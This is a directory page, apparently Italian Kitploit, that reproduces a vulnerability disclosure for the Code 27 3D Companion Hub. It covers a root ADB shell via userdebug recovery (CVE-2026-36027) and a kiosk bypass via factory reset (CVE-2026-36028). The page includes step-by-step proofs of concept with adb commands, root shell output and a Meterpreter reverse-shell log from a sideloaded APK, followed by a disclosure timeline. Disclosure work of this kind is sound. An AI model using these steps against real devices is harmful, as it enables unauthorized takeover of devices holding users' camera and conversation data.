Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Code-27-Companion-Hub-Exploits — Proof of concept per CVE-2026-36027 e CVE-2026-36028 | Kitploit
Strumenti/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Sicurezza AndroidSicurezza Sistemi EmbeddedEscalation di PrivilegiSicurezza IoTAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza Hardware

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

Proof of concept per CVE-2026-36027 e CVE-2026-36028

Vedi Repository
11 mese faNon ancora revisionato

Vulnerabilità del Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

Il Code 27 3D Companion Hub è un dispositivo fisico da scrivania che renderizza un personaggio AI personalizzato (un "Codie") come compagno 3D animato. Gli utenti possono caricare o creare qualsiasi modello 3D e l'AI multimodale consente al personaggio di vedere l'ambiente circostante, leggere il tono e il linguaggio del corpo e intrattenere conversazioni aperte.

Questo documento tratta due vulnerabilità che richiedono l'accesso fisico al dispositivo. Entrambe sono state validate sulla build indicata di seguito e, al momento della pubblicazione, non sono ancora state corrette.

Code 27 3D Companion Hub

Dispositivo interessato / Build

CampoValore
ProdottoCode 27 3D Companion Hub
Versione UI Companion Hub1.2.0
SoC / schedaRockchip RK3588S (rk3588s_yt921)
Sistema operativoAndroid 12
ID buildSQ3A.220705.003.A1
Fingerprint completark3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
Tipo di builduserdebug / release-keys

Il firmware fornito in dotazione è una build userdebug (visibile nel banner di recovery e in ro.build.display.id). Le build userdebug consentono di riavviare adbd come root tramite adb root, un elemento chiave che rende possibile l'esistenza di CVE-2026-36027.

Companion Hub version screen showing version 1.2.0


CVE-2026-36027 - Esecuzione di codice arbitrario tramite debug USB (ADB) in Recovery

Sintesi esecutiva

Un attaccante fisicamente vicino al dispositivo può avviare il Companion Hub in Android recovery e ottenere una shell ADB con privilegi di root (uid=0, contesto SELinux u:r:su:s0). Poiché il dispositivo viene fornito con una build userdebug, adbd può essere riavviato come root con adb root, offrendo all'attaccante l'interazione in lettura/scrittura con l'ambiente di recovery, la possibilità di enumerare le proprietà di build e hardware e l'accesso alle funzioni di recovery (sideload, fastboot, operazioni sulle partizioni).

L'accesso ottenuto è all'interno del ramdisk di recovery, non nel runtime Android attivo. Nei test, l'azione Mount /system della recovery falliva (libfs_mgr non poteva aprire /dev/block/by-name/system), quindi la partizione di sistema non veniva montata direttamente tramite questo percorso e l'ambiente utente avviato, con il kiosk e gli eventuali dati utente decifrati, non è presente in questa modalità.

Questo è comunque rilevante perché l'accesso root all'ambiente di recovery è il fondamento per modificare lo stato persistente del dispositivo (ad esempio, scrivendo sulle partizioni o applicando un pacchetto di aggiornamento creato ad hoc) in modo che un codice controllato dall'attaccante possa essere eseguito a un successivo avvio normale, stabilendo un punto d'appoggio sul dispositivo attivo.

Prova di concetto

  1. Spegnere il dispositivo.
  2. Quando il dispositivo è completamente spento, tenere premuti contemporaneamente i pulsanti di accensione e volume finché il dispositivo non si avvia nel menu di Android recovery.

Android recovery menu with Mount /system highlighted

  1. Collegare un cavo USB-C al Companion Hub e l'estremità USB-A a un computer.
  2. Usare i pulsanti per navigare fino a Mount /system, evidenziarlo e confermare. Sembrerà che fallisca. È un comportamento previsto e l'exploit funziona comunque. (Il log di recovery mostra libfs_mgr che non riesce ad aprire /dev/block/by-name/system.)
  3. Con ADB installato sul computer, verificare che il dispositivo sia elencato:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. Il dispositivo è in modalità recovery. Riavviare adbd in un contesto di root:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. Aprire una shell: ora si è root sul dispositivo:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. Con la shell root è possibile enumerare e interagire con il filesystem di recovery:
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - Bypass delle restrizioni del kiosk tramite ripristino di fabbrica

Sintesi esecutiva

Un ripristino di fabbrica eseguito dal menu di recovery cancella la partizione userdata, dove sono installate le applicazioni del kiosk. Poiché il kiosk non fa parte della partizione di sistema, non viene ripristinato al riavvio e il dispositivo si avvia in un ambiente Android standard e senza restrizioni (launcher, browser web, gestore file, impostazioni e altre app di sistema).

Da questo ambiente senza restrizioni, un attaccante può riattivare le opzioni sviluppatore / il debug USB, eseguire il sideload di un APK arbitrario ed eseguirlo per ottenere una shell sul sistema operativo attivo. Nei test, questo ha prodotto una sessione meterpreter eseguita come utente applicativo non privilegiato u0_a79 - un contesto di privilegi e dati diverso rispetto alla shell root della modalità recovery di CVE-2026-36027, perché opera sul sistema operativo attivo e avviato piuttosto che sul ramdisk di recovery. Il codice inserito ed eseguito in questo stato opera come parte del normale funzionamento del dispositivo, offrendo all'attaccante il controllo interattivo del dispositivo e del suo filesystem accessibile all'utente.

Prova di concetto

  1. Spegnere il dispositivo.
  2. Quando il dispositivo è completamente spento, tenere premuti contemporaneamente i pulsanti di accensione e volume finché il dispositivo non si avvia nel menu di Android recovery.
  3. Evidenziare Wipe data/factory reset e confermare la cancellazione.

Android recovery menu with Wipe data/factory reset highlighted

  1. Una volta che il dispositivo si riavvia, le applicazioni del kiosk risultano mancanti e la modalità kiosk non si avvia. Questo perché le applicazioni del kiosk sono installate nella partizione userdata piuttosto che nella partizione di sistema. Un ripristino di fabbrica dalla recovery cancella userdata, rimuovendo definitivamente le applicazioni del kiosk; poiché non sono presenti nella partizione di sistema, non vengono ripristinate al riavvio e il kiosk non riesce ad avviarsi.
  2. All'attaccante si presenta un ambiente Android senza restrizioni, che include un browser web, un gestore file, le Impostazioni e altre applicazioni di sistema. Da qui è possibile attivare il debug USB, eseguire il sideload di un APK arbitrario ed eseguirlo - in questo caso ottenendo una sessione Meterpreter sul sistema operativo attivo:
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

Cronologia della divulgazione

Scarica lo strumento
DataEvento
2026-02-17Entrambe le vulnerabilità divulgate al team Code 27 e confermate.
2026-02-17Entrambe le vulnerabilità zero-day segnalate a MITRE.
2026-02-18Il team Code 27 ha discusso un piano di risoluzione, raccolto informazioni aggiuntive e dichiarato che il problema sarebbe stato risolto.
2026-06-15MITRE assegna CVE-2026-36027 e CVE-2026-36028.
2026-06-15Code 27 informata dell'assegnazione; il contatto iniziale inoltra le informazioni al team di sicurezza per la revisione della build.
2026-06-16Il team di sicurezza di Code 27 richiede nuovamente i dettagli tecnici completi.
2026-06-17Dettagli tecnici completi forniti al team di sicurezza, nuovamente.
2026-06-18Nessuna risposta dal team di sicurezza.
2026-06-19Il rappresentante di Code 27 dichiara che alle aziende vengono solitamente concessi 90 giorni per risolvere i problemi di sicurezza e che il team di sicurezza ne è già a conoscenza. Al rappresentante viene comunicato che i problemi erano stati segnalati oltre 120 giorni prima. Viene fissata una scadenza per la divulgazione al 1° luglio.
2026-06-25Contattato il team di sicurezza di Code 27 per confermare l'avviso finale sulla scadenza e sulla pubblicazione.
2026-06-28Code 27 si scusa, conferma gli identificativi CVE e la scadenza per la divulgazione e dichiara che un advisory pubblico e un link verranno inviati prima del 1° luglio.
2026-07-01Code 27 contattata per lo stato dell'advisory; nessuna risposta.
2026-07-02Pubblicati i dettagli delle vulnerabilità non corrette.